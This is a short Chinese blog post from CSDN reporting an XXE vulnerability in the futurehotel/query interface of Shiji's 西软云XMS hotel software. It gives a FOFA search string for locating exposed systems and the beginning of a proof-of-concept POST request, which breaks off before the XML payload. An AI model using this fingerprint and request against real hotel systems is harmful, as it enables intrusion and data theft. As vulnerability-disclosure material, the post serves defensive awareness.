西软云XMS-futurehotel-query接口存在XXE漏洞

最新推荐文章于 2024-07-29 22:18:31 发布

qq_36334672

最新推荐文章于 2024-07-29 22:18:31 发布

阅读量242

点赞数 3

文章标签： web安全安全

本文链接：https://blog.csdn.net/qq_36334672/article/details/136449713

版权

本文详细介绍了西软云XMS-futurehotel-query接口存在的XXE漏洞，包括漏洞介绍、编号、影响范围、检索特征以及POC验证。建议受影响的用户更新到最新版本以修复该安全问题。

摘要由CSDN通过智能技术生成

西软云XMS-futurehotel-query接口存在XXE漏洞复现

1.漏洞介绍

西软云XMS-futurehotel-query接口存在XXE漏洞

2.漏洞编号

CVE	CNVD	CNNVD
-	-	-

3.影响范围

名称	版本号
	-

4.检索特征

FOFA：app=“shiji-西软云XMS”
在这里插入图片描述

5.POC

POST /XopServerRS/rest/futurehotel/query HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.3157.54 Safari/537.36
Connection: close
Content-Type: text/xml
Accept-Encodin